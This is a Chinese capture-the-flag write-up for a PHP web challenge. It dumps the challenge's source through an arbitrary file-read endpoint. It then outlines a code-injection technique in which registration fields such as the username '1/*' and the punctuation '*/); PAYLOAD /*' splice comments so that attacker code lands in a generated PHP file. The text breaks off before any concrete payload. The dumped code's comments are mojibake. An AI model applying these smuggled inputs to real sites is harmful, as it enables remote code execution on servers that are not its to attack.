脑洞好大好大的题目,又被秀到了。不得不佩服。
WEB PHP LFI RCE 无字母RCE
进入页面要求注册:

注册后进入页面:

每个功能点都试一遍:

最特殊的是那个好康的,我们看一下它从哪里来。

发现是一个php文件里面来的,我们访问看一下,访问发现有一个任意文件读取

读取文件:
- html>
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>Simple Linuxtitle>
- <style type="text/css">
- style>
- <link rel="stylesheet" href="../js/themes/base/jquery.ui.all.css" />
- <link rel="stylesheet" href="../js/jquery-smartMenu/css/smartMenu.css" />
- <script type="text/javascript" src="../js/jquery-1.6.2.js">script>
- <script type="text/javascript" src="../js/myLib.js">script>
- <script type="text/javascript" src="../js/jquery-ui-1.8.16.custom.min.js">script>
- <script type="text/javascript" src="../js/jquery.winResize.js">script>
- <script type="text/javascript" src="../js/jquery-smartMenu/js/mini/jquery-smartMenu-min.js">script>
- <script type="text/javascript">
- //声ædesktop空é´,å°è£ç¸å³æä½
- myLib.NS("desktop");
- myLib.desktop={
- winWH:function(){
- $('body').data('winWh',{'w':$(window).width(),'h':$(window).height()});
- },
- desktopPanel:function(){
- $('body').data('panel',{
- 'taskBar':{
- '_this':$('#taskBar'),
- 'task_lb':$('#task_lb')
- },
- 'lrBar':{
- '_this':$('#lr_bar'),
- 'default_app':$('#default_app'),
- 'start_block':$('#start_block'),
- 'start_btn':$('#start_btn'),
- 'start_item':$('#start_item'),
- 'default_tools':$('#default_tools')
- },
- 'deskIcon':{
- '_this':$('#deskIcon'),
- 'icon':$('li.desktop_icon')
- },
- 'powered_by':$('a.powered_by')
- });
- },
- getMydata:function(){
- return $('body').data();
- },
- mouseXY:function(){
- var mouseXY=[];
- $(document).bind('mousemove',function(e){
- mouseXY[0]=e.pageX;
- mouseXY[1]=e.pageY;
- });
- return mouseXY;
- },
- contextMenu:function(jqElem,data,menuName,textLimit){
- var _this=this
- ,mXY=_this.mouseXY();
-
- jqElem
- .smartMenu(data,{
- name: menuName,
- textLimit:textLimit,
- afterShow:function(){
- var menu=$("#smartMenu_"+menuName);
- var myData=myLib.desktop.getMydata(),
- wh=myData.winWh;//è·åå½ådocument宽é«
- var menuXY=menu.offset(),menuH=menu.height(),menuW=menu.width();
- if(menuXY.top>wh['h']-menuH){
- menu.css('top',mXY[1]-menuH-2);
- }
- if(menuXY.left>wh['w']-menuW){
- menu.css('left',mXY[0]-menuW-2);
- }
- }
- });
- $(document.body).click(function(event){
- event.preventDefault();
- $.smartMenu.hide();
- });
- }
- }
-
- //çªå£ç¸å³æä½
- myLib.NS("desktop.win");
- myLib.desktop.win={
- winHtml:function(title,url,id){
- },
- //æ·»å é®éå±ï¼ä¿®å¤iframe é¼ æ ç»è¿äºä»¶bug
- iframFix:function(obj){
- obj.each(function(){
- var o=$(this);
- if(o.find('.zzDiv').size()<=0)
- o.append($(""));
- })
- },
- //è·åå½åçªå£æå¤§çz-indexå¼
- maxWinZindex:function($win){
- return Math.max.apply(null, $.map($win, function (e, n) {
- if ($(e).css('position') == 'absolute')
- return parseInt($(e).css('z-index')) || 1;
- }));
- },
- findTopWin:function($win,maxZ){
- var topWin;
- $win.each(function(index){
- if($(this).css("z-index")==maxZ){
- topWin=$(this);
- return false;
- }
- });
- return topWin;
- },
- //å³éçªå£
- closeWin:function(obj){
- var _this=this,$win=$('div.windows').not(":hidden"),maxZ,topWin;
- myLib.desktop.taskBar.delWinTab(obj);
- obj.hide('slow',function(){
- $(this).remove();
- });
- //å½å³éçªå£åå¯»æ¾æå¤§z-indexççªå£å¹¶ä½¿å¶åºå¥éæ©ç¶æ
- if($win.size()>1){
- maxZ=_this.maxWinZindex($win.not(obj));
- topWin=_this.findTopWin($win,maxZ);
- _this.switchZindex(topWin);
- }
- },
- minimize:function(obj){
- var _this=this,$win=$('div.windows').not(":hidden"),maxZ,topWin,objTab;
- obj.hide();
- //æå°åçªå£åï¼å¯»æ¾æå¤§z-indexçªå£è³é¡¶
- if($win.size()>1){
- maxZ=_this.maxWinZindex($win.not(obj));
- topWin=_this.findTopWin($win,maxZ);
- _this.switchZindex(topWin);
- }else{
- objTab=myLib.desktop.taskBar.findWinTab(obj);
- objTab.removeClass('selectTab').addClass('defaultTab');
- }
- },
- //æå¤§åçªå£å½æ°
- maximizeWin:function(obj){
- var myData=myLib.desktop.getMydata(),
- wh=myData.winWh;//è·åå½ådocument宽é«
- obj
- .css({'width':wh['w'],'height':wh['h']-35,'left':0,'top':0})
- .draggable( "disable" )
- .resizable( "disable" )
- .fadeTo("fast",1)
- .find(".winframe")
- .css({'width':wh['w']-6,'height':wh['h']-64});
- },
- //è¿åçªå£å½æ°
- hyimizeWin:function(obj){
- var myData=obj.data(),
- winLocation=myData.winLocation;//è·åçªå£æå¤§ååçä½ç½®å¤§å°
-
- obj.css({'width':winLocation['w'],'height':winLocation['h'],'left':winLocation['left'],'top':winLocation['top']})
- .draggable( "enable" )
- .resizable( "enable" )
- .find(".winframe")
- .css({'width':winLocation['w']-6,'height':winLocation['h']-29});
- },
- //交æ¢çªå£z-indexå¼
- switchZindex:function(obj){
- var myData=myLib.desktop.getMydata()
- ,$topWin=myData.topWin
- ,$topWinTab=myData.topWinTab
- ,curWinZindex=obj.css("z-index")
- ,maxZ=myData.maxZindex
- ,objTab=myLib.desktop.taskBar.findWinTab(obj);
-
- if(!$topWin.is(obj)){
-
- obj.css("z-index",maxZ);
- objTab.removeClass('defaultTab').addClass('selectTab');
-
- $topWin.css("z-index",curWinZindex);
- $topWinTab.removeClass('selectTab').addClass('defaultTab');
- this.iframFix($topWin);
- //æ´æ°æé¡¶å±çªå£å¯¹è±¡
- $('body').data("topWin",obj).data("topWinTab",objTab);
- }
- },
- //æ°å»ºçªå£å®ä¾
- newWin:function(options){
- var _this=this;
-
- var myData=myLib.desktop.getMydata(),
- wh=myData.winWh,//è·åå½ådocument宽é«
- $windows=$("div.windows"),
- curwinNum=myLib._is(myData.winNum,"Number")?myData.winNum:0;//夿å½åå·²æå¤å°çªå£
- _this.iframFix($windows);
- //é»è®¤åæ°éç½®
- var defaults = {
- WindowTitle: null,
- WindowsId: null,
- WindowPositionTop: 'center', /* Posible are pixels or 'center' */
- WindowPositionLeft: 'center', /* Posible are pixels or 'center' */
- WindowWidth: Math.round(wh['w']*0.6), /* Only pixels */
- WindowHeight: Math.round(wh['h']*0.8), /* Only pixels */
- WindowMinWidth: 250, /* Only pixels */
- WindowMinHeight: 250, /* Only pixels */
- iframSrc: null, /* æ¡æ¶çsrcè·¯å¾*/
- WindowResizable: true, /* true, false*/
- WindowMaximize: true, /* true, false*/
- WindowMinimize: true, /* true, false*/
- WindowClosable: true, /* true, false*/
- WindowDraggable: true, /* true, false*/
- WindowStatus: 'regular', /* 'regular', 'maximized', 'minimized' */
- WindowAnimationSpeed: 500,
- WindowAnimation: 'none'
- };
-
- var options = $.extend(defaults, options);
-
- //夿çªå£ä½ç½®ï¼å¦å使ç¨é»è®¤å¼
- var wLeft=myLib._is(options['WindowPositionLeft'],"Number")?options['WindowPositionLeft']:(wh['w']-options['WindowWidth'])/2;
- var wTop=myLib._is(options['WindowPositionTop'],"Number")?options['WindowPositionTop']:(wh['h']-options['WindowHeight'])/2;
-
- //ç»çªå£èµäºæ°çz-indexå¼
- var zindex=curwinNum+100;
- var id="myWin_"+options['WindowsId'];//æ ¹æ®ä¼ æ¥çidå°ä½ä¸ºæ°çªå£id
- $('body').data("winNum",curwinNum+1);//æ´æ°çªå£æ°é
-
- //夿妿æ¤idççªå£åå¨ï¼åä¸å建çªå£
- if($("#"+id).size()<=0){
- //å¨ä»»å¡æ éæ·»å tab
- myLib.desktop.taskBar.addWinTab(options['WindowTitle'],options['WindowsId']);
- //åå§åæ°çªå£å¹¶æ¾ç¤º
- $("body").append($(_this.winHtml(options['WindowTitle'],options['iframSrc'],id)));
-
- var $newWin=$("#"+id)
- ,$icon=$("#"+options['WindowsId'])
- ,$iconOffset=$icon.offset()
- ,$fram=$newWin.children(".winframe")
- ,winMaximize_btn=$newWin.find('a.winMaximize')//æå¤§åæé®
- ,winMinimize_btn=$newWin.find('a.winMinimize')//æå°åæé®
- ,winClose_btn=$newWin.find('a.winClose')//å³éæé®
- ,winHyimize_btn=$newWin.find('a.winHyimize');//è¿åæé®
-
- winHyimize_btn.hide();
- if(!options['WindowMaximize']) winMaximize_btn.hide();
- if(!options['WindowMinimize']) winMinimize_btn.hide();
- if(!options['WindowClosable']) winClose_btn.hide();
-
- //åå¨çªå£æå¤§çz-indexå¼,åæé¡¶å±çªå£å¯¹è±¡
- $('body').data({"maxZindex":zindex,"topWin":$newWin});
-
- //夿çªå£æ¯å¦å¯ç¨å¨ç»ææ
- if(options.WindowAnimation=='none'){
-
- $newWin
- .css({"width":options['WindowWidth'],"height":options['WindowHeight'],"left":wLeft,"top":wTop,"z-index":zindex})
- .addClass("loading")
- .show();
-
- }else{
-
- $newWin
- .css({"left":$iconOffset.left,"top":$iconOffset.top,"z-index":zindex})
- .addClass("loading")
- .show()
- .animate({
- width: options['WindowWidth'],
- height:options['WindowHeight'],
- top: wTop,
- left: wLeft}, 500);
-
- }
-
- $newWin
- .data('winLocation',{
- 'w':options['WindowWidth'],
- 'h':options['WindowHeight'],
- 'left':wLeft,
- 'top':wTop
- })
- .find(".winframe")
- .css({"width":options['WindowWidth']-6,"height":options['WindowHeight']-29})
-
- //çå¾iframeå è½½å®æ¯
- //.load(function(){
-
- //è°ç¨çªå£æå¨,忰坿å¨çèå´ä¸ä¸å·¦å³ï¼çªå£idåï¼æµè§å¨å¯è§çªå£å¤§å°
- if(options['WindowDraggable']){
- _this.drag([0,0,wh['w']-options['WindowWidth']-10,wh['h']-options['WindowHeight']-35],id,wh);
- }
- //è°ç¨çªå£resize,ä¼ éæå¤§æå°å®½åº¦åé«åº¦ï¼æ°çªå£å¯¹è±¡idï¼æµè§å¨å¯è§çªå£å¤§å°
- if(options['WindowResizable']){
- _this.resize(options['WindowMinWidth'],options['WindowMinHeight'],wh['w']-wLeft,wh['h']-wTop-35,id,wh);
- }
- //彿¹åæµè§å¨çªå£å¤§å°æ¶ï¼æ´æ°å¶æå¨åææ³åºå大å°
- $(window).wresize(function(){
- _this.upWinDrag_block($newWin);
- _this.upWinResize_block($newWin);
- });
-
- //});
-
- //妿æå¤ä¸ªçªå£ï¼å½åå»æä¸ªçªå£ï¼å使æ¤çªå£æ¾ç¤ºå°æä¸é¢
- if(curwinNum){
- var $allwin=$("div.windows");
- $allwin.bind({
- "mousedown":function(event){
- _this.switchZindex($(this));
- },
- "mouseup":function(){
- $(this).find('.zzDiv').remove();
- }
- });
- }
-
- //çªå£æå¤§åï¼æå°åï¼åå³é
- winClose_btn.click(function(event){
- event.stopPropagation();
- _this.closeWin($(this).parent().parent().parent());
- });
- //æå¤§å
- winMaximize_btn.click(function(event){
- event.stopPropagation();
- if(options['WindowStatus']=="regular"){
- _this.maximizeWin($(this).parent().parent().parent());
- $(this).hide();
- winHyimize_btn.show();
- options['WindowStatus']="maximized";
- }
- });
- //è¿åçªå£
- winHyimize_btn.click(function(event){
- event.stopPropagation();
- if(options['WindowStatus']=="maximized"){
- _this.hyimizeWin($(this).parent().parent().parent());
- $(this).hide();
- winMaximize_btn.show();
- options['WindowStatus']="regular";
- }
- });
- //æå°åçªå£
- winMinimize_btn.click(function(){
- _this.minimize($(this).parent().parent().parent());
- });
- }else{//妿已å卿¤çªå£ï¼å¤ææ¯å¦éè
- var wins=$("#"+id),objTab=myLib.desktop.taskBar.findWinTab(wins);
- if(wins.is(":hidden")){
- wins.show();
- objTab.removeClass('defaultTab').addClass('selectTab');//å½åªæä¸ä¸ªçªå£æ¶
- myLib.desktop.win.switchZindex(wins);
- }
-
- }
- },
- upWinResize_block:function(win){
-
- //æ´æ°çªå£å¯æ¹å大å°èå´,wh为æµè§å¨çªå£å¤§å°
- var offset=win.offset();
- win.resizable( "option" ,{'maxWidth':$(window).width()-offset.left-10,'maxHeight':$(window).height()-offset.top-35})
- },
- upWinDrag_block:function(win){
- var h=win.innerHeight()
- ,w=win.innerWidth();
-
- //æ´æ°çªå£å¯æå¨åºå大å°
- win.draggable( "option", "containment", [10,10,$(window).width()-w-10,$(window).height()-h-35] )
- },
- drag:function(arr,win_id,wh){
- var _this=this;
- $("#"+win_id)
- .draggable({
- handle: "#"+win_id+' .win_title',
- iframeFix:false,
- containment:arr,
- delay: 50 ,
- distance: 30
- })
- .bind("dragstart",function(event,ui){
- _this.iframFix($(this));
- })
- .bind( "dragstop", function(event, ui) {
- var obj_this=$(this);
-
- var offset=obj_this.offset();
- //计ç®å¯ææ³èå´
- _this.upWinResize_block(obj_this);
-
- obj_this
- //æ´æ°çªå£åå¨çä½ç½®å±æ§
- .data('winLocation',{
- 'w':obj_this.width(),
- 'h':obj_this.height(),
- 'left':offset.left,
- 'top':offset.top
- })
- .find('.zzDiv').remove();
- });
-
- $("div.win_title").css("cursor","move");
- },
- resize:function(minW,minH,maxW,maxH,win_id,wh){
- var _this=this;
- $("#"+win_id)
- .resizable({
- minHeight:minH,
- minWidth:minW,
- containment:'document',
- maxWidth:maxW,
- maxHeight:maxH
- })
- .css("position","absolute")
- .bind( "resize", function(event, ui) {
- var h=$(this).innerHeight(),w=$(this).innerWidth();
- _this.iframFix($(this));
-
- //ææ³æ¹åçªå£å¤§å°ï¼æ´æ°iframe宽度åé«åº¦ï¼å¹¶æ¾ç¤ºiframe
- $(this).children(".winframe").css({"width":w-6,"height":h-29});
-
- })
- .bind( "resizestop", function(event, ui) {
- var obj_this=$(this);
- var offset=obj_this.offset();
- var h=obj_this.innerHeight(),w=obj_this.innerWidth();
-
- //æ´æ°çªå£å¯æå¨åºå大å°
- _this.upWinDrag_block(obj_this);
-
- obj_this
- //æ´æ°çªå£åå¨çä½ç½®å±æ§
- .data('winLocation',{
- 'w':w,
- 'h':h,
- 'left':offset.left,
- 'top':offset.top
- })
- //å é¤é®éiframeçå±
- .find(".zzDiv").remove();
- });
- }
- }
-
- //ä¾§è¾¹å·¥å·æ
- myLib.NS("desktop.lrBar");
- myLib.desktop.lrBar={
- init:function(){
- //读ååç´ å¯¹è±¡æ°æ®
- var myData=myLib.desktop.getMydata();
- var $default_tools=myData.panel.lrBar['default_tools']
- ,$def_tools_Btn=$default_tools.find('span')
- ,$start_btn=myData.panel.lrBar['start_btn']
- ,$start_item=myData.panel.lrBar['start_item']
- ,$default_app=myData.panel.lrBar['default_app']
- ,$lrBar=myData.panel.lrBar['_this']
- ,wh=myData.winWh;
-
- //åå§åä¾§æ ä½ç½®
- var tops=Math.floor((wh['h']-$lrBar.height())/2)-50;
- $lrBar.css({'top':tops});
- //妿çªå£å¤§å°æ¹åï¼åæ´æ°ä¾§è¾¹æ ä½ç½®
- $(window).wresize(function(){
- var tops=Math.floor(($(window).height()-$lrBar.height())/2)-50;
- $lrBar.css({'top':tops});
- });
- //任塿 å³è¾¹é»è®¤ç»ä»¶åºåäº¤äºææ
- $def_tools_Btn.hover(function(){
- $(this).css("background-color","#999");
- },function(){
- $(this).css("background-color","transparent");
- });
- //é»è®¤åºç¨ç¨åºåº
- $default_app
- .find('li')
- .hover(function(){
- $(this).addClass('btnOver');
- },function(){
- $(this).removeClass('btnOver');
- })
- .find('img').dblclick(function(){
- var title=$(this).attr('title'),wid=$(this).parent().attr('id');
- var href= $(this).attr('path');
- myLib.desktop.win.newWin({
- WindowTitle:title,
- iframSrc:href,
- WindowsId:wid,
- WindowAnimation:'easeInBack'
- });
- })
- .end()
- .end()
- .sortable({
- revert: true
- });
-
- //å¼å§æé®ãèåäº¤äºææ
- $start_btn.click(function(event){
- event.preventDefault();
- event.stopPropagation()
- if($start_item.is(":hidden"))
- $start_item.show();
- else
- $start_item.hide();
- });
- $("body").click(function(event){
- event.preventDefault();
- $start_item.hide();
- });
- }
- }
- /*----------------------------------------------------------------------------------
- //声æä»»å¡æ 空é´ï¼ä»»å¡æ ç¸å³jsæä½
- ----------------------------------------------------------------------------------*/
- myLib.NS("desktop.taskBar");
- myLib.desktop.taskBar={
- timer:function(obj){
- var curDaytime=new Date().toLocaleString().split(" ");
- obj.innerHTML=curDaytime[1];
- obj.title=curDaytime[0];
- setInterval(function(){obj.innerHTML=new Date().toLocaleString().split(" ")[1];},1000);
- },
- upTaskWidth:function(){
- var myData=myLib.desktop.getMydata()
- ,$task_bar=myData.panel.taskBar['_this'];
- var maxHdTabNum=Math.floor($(window).width()/100);
- //计ç®ä»»å¡æ 宽度
- $task_bar.width(maxHdTabNum*100);
- //å卿´»å¨ä»»å¡æ tabé»è®¤ç»æ°
- $('body').data("maxHdTabNum",maxHdTabNum-2);
- },
- init:function(){
- //读ååç´ å¯¹è±¡æ°æ®
- var myData=myLib.desktop.getMydata();
- var $task_lb=myData.panel.taskBar['task_lb']
- ,$task_bar=myData.panel.taskBar['_this']
- ,wh=myData.winWh;
-
- var _this=this;
- _this.upTaskWidth();
- //彿¹åæµè§å¨çªå£å¤§å°æ¶ï¼éæ°è®¡ç®ä»»å¡æ 宽度
- $(window).wresize(function(){
- _this.upTaskWidth();
- });
-
- },
- contextMenu:function(tab,id){
- var _this=this;
- //åå§å任塿 Tabå³é®èå
- var data=[
- [{
- text:"æå¤§å",
- func:function(){
- $("#myWin_"+tab.data('win')).find('a.winMaximize').trigger('click');
- }
- },{
- text:"æå°å",
- func:function(){
- myLib.desktop.win.minimize($("#myWin_"+tab.data('win')));
- }
- }]
- ,[{
- text:"å³é",
- func:function(){
- $("#smartMenu_taskTab_menu"+id).remove();
- myLib.desktop.win.closeWin($("#myWin_"+tab.data('win')));
- }
- }]
- ];
- myLib.desktop.contextMenu(tab,data,"taskTab_menu"+id,10);
- },
- addWinTab:function(text,id){
- var myData=myLib.desktop.getMydata();
- var $task_lb=myData.panel.taskBar['task_lb']
- ,$task_bar=myData.panel.taskBar['_this']
- ,tid="myWinTab_"+id
- ,allTab=$task_lb.find('a')
- ,curTabNum=allTab.size()
- ,docHtml=""+text+"";
-
- //æ·»å æ°çtab
- $task_lb.append($(docHtml));
- var $newTab=$("#"+tid);
- //å³é®èå
- this.contextMenu($newTab,id);
-
- $task_lb
- .find('a.selectTab')
- .removeClass('selectTab')
- .addClass('defaultTab');
-
- $newTab
- .data('win',id)
- .addClass('selectTab')
- .click(function(){
- var win=$("#myWin_"+$(this).data('win'));
-
- if(win.is(":hidden")){
- win.show();
- $(this).removeClass('defaultTab').addClass('selectTab');//å½åªæä¸ä¸ªçªå£æ¶
- myLib.desktop.win.switchZindex(win);
- }else{
- if($(this).hasClass('selectTab')){
- myLib.desktop.win.minimize(win);
- }else{
- myLib.desktop.win.switchZindex(win);
- }
- }
- });
-
- $('body').data("topWinTab",$newTab);
-
- //å½ä»»å¡æ æ´»å¨çªå£æ°è¶åºæ¶
- if(curTabNum>myData.maxHdTabNum-1){
- var LeftBtn=$('#leftBtn')
- ,rightBtn=$('#rightBtn')
- ,bH;
-
- LeftBtn
- .show()
- .find("a")
- .click(function(){
- var pos=$task_lb.position();
- if(pos.top<0){
- $task_lb.animate({
- "top":pos.top+40
- }, 50);
- }
- });
-
- rightBtn
- .show()
- .find("a")
- .click(function(){
- var pos=$task_lb.position(),h=$task_lb.height(),row=h/40;
- if(pos.top>(row-1)*(-40)){
- $task_lb.animate({
- "top": pos.top-40
- }, 50);
- }
- });
-
- $task_lb.parent().css("margin","0 100");
- }
-
- },
- delWinTab:function(wObj){
- var myData=myLib.desktop.getMydata()
- ,$task_lb=myData.panel.taskBar['task_lb']
- ,$task_bar=myData.panel.taskBar['_this']
- ,LeftBtn=$('#leftBtn')
- ,rightBtn=$('#rightBtn')
- ,pos=$task_lb.position();
-
- this.findWinTab(wObj).remove();
-
- var newH=$task_lb.height();
- if(Math.abs(pos.top)==newH){
- LeftBtn.find('a').trigger("click");
- }
- if(newH==40){
- LeftBtn.hide();
- rightBtn.hide();
- $task_lb.parent().css("margin",0);
- }
- },
- findWinTab:function(wObj){
- var myData=myLib.desktop.getMydata(),
- $task_lb=myData.panel.taskBar['task_lb'],
- objTab;
- $task_lb.find('a').each(function(index){
- var id="#myWin_"+$(this).data("win");
- if($(id).is(wObj)){
- objTab=$(this);
- }
- });
- return objTab;
- }
- }
-
- //æ¡é¢å¾æ
- myLib.NS("desktop.deskIcon");
- myLib.desktop.deskIcon={
- //æ¡é¢å¾æ æå
- arrangeIcons:function(){
- var myData=myLib.desktop.getMydata()
- ,winWh=myData.winWh
- ,$deskIconBlock=myData.panel.deskIcon['_this']
- ,$icon=myData.panel.deskIcon['icon'];
-
- //设置æ¡é¢å¾æ 容å¨åç´ åºå大å°
- $deskIconBlock.css({"width":(winWh['w']-75)+"px","height":(winWh['h']-75)+"px","margin-top":"10px",'margin-left':'75px'});
- //坹徿 å®ä½
- var iconNum=$icon.size();
- //åå¨å½åæ»å±æå¤å°æ¡é¢å¾æ
- $('body').data('deskIconNum',iconNum);
- var gH=110;//ä¸ä¸ªå¾æ æ»é«åº¦ï¼åæ¬ä¸ä¸margin
- var gW=120;//徿 æ»å®½åº¦,忬左å³margin
- var rows=Math.floor((winWh['h']-75)/gH);
- var cols=Math.ceil(iconNum/rows);
- var curcol=0,currow=0;
- //alert(rows);
- $icon.css({
- "position":"absolute",
- "margin":0,
- "left":function(index,value){
- var v=curcol*gW+30;
- if((index+1)%rows==0){
- curcol=curcol+1;
- }
- return v;
- },
- "top":function(index,value){
- var v=(index-rows*currow)*gH+20;
- if((index+1)%rows==0){
- currow=currow+1;
- }
- return v;
- }});
- return $icon;
- },
- init:function(){
- //å°å½åçªå£å®½åº¦åé«åº¦æ°æ®åå¨å¨bodyåç´ ä¸
- myLib.desktop.winWH();
- var _this=this;//è°ç¨ç¶çº§å¯¹è±¡
- var $icon=_this.arrangeIcons();
- //妿çªå£å¤§å°æ¹åï¼åéæ°æå徿
- $(window).wresize(function(){
- myLib.desktop.winWH();//æ´æ°çªå£å¤§å°æ°æ®
- _this.arrangeIcons();
- });
- //徿 é¼ æ ç»è¿ææ
- $icon.hover(function(){
- $(this).addClass("desktop_icon_over");
- },
- function(){
- $(this).removeClass("desktop_icon_over");
- })
- //åå»å¾æ æå¼çªå£
- .dblclick(function(){
- var title=$(this).children("div.text").text(),wid=this.id;
- var href= this.getAttribute("path");
- myLib.desktop.win.newWin({
- WindowTitle:title,
- iframSrc:href,
- WindowsId:wid,
- WindowAnimation:'easeInBack'
- });
- })
- .draggable({
- revert: true,
- helper: "clone",
- opacity: 0.7,
- start: function(event, ui) {
- var offset=$(this).offset();
- $('body').data("curDragIcon",$(this));
- }
- })
- .droppable({
- drop: function() {
- var curDragIcon=$('body').data("curDragIcon");
- curDragIcon.insertAfter($(this));
- var l=$(this).css('left'),t=$(this).css('top');
- $(this).css({'left':curDragIcon.css('left'),'top':curDragIcon.css('top')});
- curDragIcon.css({'left':l,'top':t});
- },
- });
-
- //åå§åæ¡é¢å³é®èå
- var data=[
- [{
- text:"æ¾ç¤ºæ¡é¢",
- func:function(){}
- }]
- ,[{
- text:"ç³»ç»è®¾ç½®",
- func:function(){}
- },{
- text:"主é¢è®¾ç½®",
- func:function(){}
- }]
- ,[{
- text:"éåºç³»ç»",
- func:function(){}
- }]
- ,[{
- text:"å³äºsimple linux",
- func:function(){}
- }]
- ];
- myLib.desktop.contextMenu($(document.body),data,"body",10);
- }
- }
-
-
- //å½é¡µé¢å è½½å®æ¯æ§è¡
- $(function(){
- //å卿¡é¢å¸å±åç´ çjquery对象
- myLib.desktop.desktopPanel();
- //åå§å任塿
- myLib.desktop.taskBar.init();
- //åå§åæ¡é¢å¾æ
- myLib.desktop.deskIcon.init();
- //åå§åä¾§è¾¹æ
- myLib.desktop.lrBar.init();
-
- })
- script>
- head>
- <body>
- <div id="lr_bar">
- <ul id="default_app">
- <li id="app0"><img src="../img/icon1.png" title="bilibili" path="https://www.bilibili.com/"/>li>
-
- <li id="app3"><img src="../img/icon2.png" title="ä¸çºªä½³ç¼" path="https://www.jiayuan.com/"/>li>
-
- ul>
- <div id="default_tools"> <span id="showZm_btn" title="æ¾ç¤ºæ¡é¢">span><span id="shizhong_btn" title="æ¶é">span><span id="weather_btn" title="天æ°">span> <span id="them_btn" title="主é¢">span>div>
- <div id="start_block"> <a title="å¼å§" id="start_btn">a>
- <div id="start_item">
- <ul class="item admin">
- <li><span class="adminImg">span>
-
- error_reporting(0);
- $user = ((string)__USER__);
- $pass = ((string)__PASS__);
-
- if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
- echo($_COOKIE['user']);
- }
- else{
- die("");
- }
- ?>
- li>
- ul>
- <ul class="item">
- <li><span class="sitting_btn">span>ç³»ç»è®¾ç½®li>
- <li><span class="help_btn">span>ä½¿ç¨æå <b>b>li>
- <li><span class="about_btn">span>å³äºæä»¬li>
- <li><span class="logout_btn">span>éåºç³»ç»li>
- ul>
- div>
- div>
- div>
- <a href="#" class="powered_by">__PUNC__a>
- <ul id="deskIcon">
- <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/>span>
- <div class="text">å¾ç
- <div class="right_cron">div>
- div>
- li>
- <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/>span>
- <div class="text">游æ
- <div class="right_cron">div>
- div>
- li>
- <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/>span>
- <div class="text"><b>好康çb>
- <div class="right_cron">div>
- div>
- li>
- <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/>span>
- <div class="text"><b>ä½ çç½ç«b>
- <div class="right_cron">div>
- div>
- li>
-
- ul>
-
- <div id="taskBar">
- <div id="leftBtn"><a href="#" class="upBtn">a>div>
- <div id="rightBtn"><a href="#" class="downBtn">a> div>
- <div id="task_lb_wrap">
- <div id="task_lb">div>
- div>
- div>
-
- div>
- body>
- html>
- ">
- error_reporting(0);
- if(isset($_POST['user']) && isset($_POST['pass'])){
- $hash_user = md5($_POST['user']);
- $hash_pass = 'zsf'.md5($_POST['pass']);
- if(isset($_POST['punctuation'])){
- //filter
- if (strlen($_POST['user']) > 6){
- echo("");
- }
- elseif(strlen($_POST['website']) > 25){
- echo("");
- }
- elseif(strlen($_POST['punctuation']) > 1000){
- echo("");
- }
- else{
- if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
- if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
- $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
- $template = file_get_contents('./template.html');
- $content = str_replace("__USER__", $_POST['user'], $template);
- $content = str_replace("__PASS__", $hash_pass, $content);
- $content = str_replace("__WEBSITE__", $_POST['website'], $content);
- $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
- file_put_contents('sandbox/'.$hash_user.'.php', $content);
- echo("");
- }
- else{
- echo("");
- }
- }
- else{
- echo("");
- }
- }
- }
- else{
- setcookie("user", $_POST['user'], time()+3600);
- setcookie("pass", $hash_pass, time()+3600);
- Header("Location:sandbox/$hash_user.php");
- }
- }
- ?>
-
- html>
- <html lang="zh">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Simple Linuxtitle>
- <link rel="stylesheet" type="text/css" href="css/styles.css">
-
- head>
- <body>
- <div class="jq22-container" style="padding-top:100px">
- <div class="login-wrap">
- <div class="login-html">
- <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign Inlabel>
- <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Uplabel>
- <div class="login-form">
- <form action="index.php" method="post">
- <div class="sign-in-htm">
- <div class="group">
- <label for="user" class="label">Usernamelabel>
- <input id="user" name="user" type="text" class="input">
- div>
- <div class="group">
- <label for="pass" class="label">Passwordlabel>
- <input id="pass" name="pass" type="password" class="input" data-type="password">
- div>
-
- <div class="group">
- <input type="submit" class="button" value="Sign In">
- div>
- <div class="hr">div>
-
- div>
- form>
- <form action="index.php" method="post">
- <div class="sign-up-htm">
- <div class="group">
- <label for="user" class="label">Usernamelabel>
- <input id="user" name="user" type="text" class="input">
- div>
- <div class="group">
- <label for="pass" class="label">Passwordlabel>
- <input id="pass" name="pass" type="password" class="input" data-type="password">
- div>
- <div class="group">
- <label for="pass" class="label">Your Websitelabel>
- <input id="pass" name="website" type="text" class="input">
- div>
- <div class="group">
- <label for="pass" class="label">Your Punctuationlabel>
- <input id="pass" name="punctuation" type="text" class="input">
- div>
- <div class="group">
- <input type="submit" class="button" value="Sign Up">
- div>
- <div class="hr">div>
- <div class="foot-lnk">
- <label for="tab-1">Already Member?a>
- div>
- div>
- form>
- div>
- div>
- div>
- div>
-
- body>
- html>
-
- ">
- error_reporting(0);
- $image = (string)$_GET['image'];
- echo '
'; - ?>
-
- ">
任意读取文件由于不知道flag的名字所以没办法直接读取。要另辟蹊径
漫长的代码审计:
两处关键代码:
index.php

template.html

这两个地方,由于其他都过滤的比较多,只有punctuation过滤的最不严谨,而且限制长度也最长,但是__PUNC__再外面,我们无法利用punctuation这个参数构造php可执行代码。
但是利用php代码的注释特性我们可以利用这个代码。
#示例
......
......
......
......
/*
?>
*/
恶意代码;
这样就可以把恶意代码带到php文件里面
username: 1/*
passwd: 任意
website: 任意
Punctuation: */); PAYLOAD /*
payload:
第一种:
